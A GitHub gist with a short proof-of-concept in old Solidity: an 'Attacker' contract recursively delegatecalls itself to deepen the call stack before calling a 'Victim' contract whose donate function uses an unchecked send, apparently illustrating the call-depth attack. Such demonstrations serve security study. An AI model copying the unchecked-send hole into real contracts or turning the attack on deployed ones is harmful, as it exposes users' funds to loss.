Skip to content

Instantly share code, notes, and snippets.

@maurelian
Created September 29, 2017 12:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save maurelian/4c0e2b92dd4bcfc91e6f67cb4dd462a9 to your computer and use it in GitHub Desktop.
Save maurelian/4c0e2b92dd4bcfc91e6f67cb4dd462a9 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4;
contract Attacker {
Victim public victimContract;
uint x;
function Attacker(){
victimContract = (new Victim).value(10)();
}
function attack(uint y) {
if (y > x) {
this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
}
else {
victimContract.donate.value(1)(this, 1);
}
}
}
contract Victim {
function Victim() payable {}
mapping(address => uint) karma;
function donate(address someAddress, uint amount)
payable
{
if(msg.value == amount) {
someAddress.send(amount);
karma[msg.sender] += amount;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment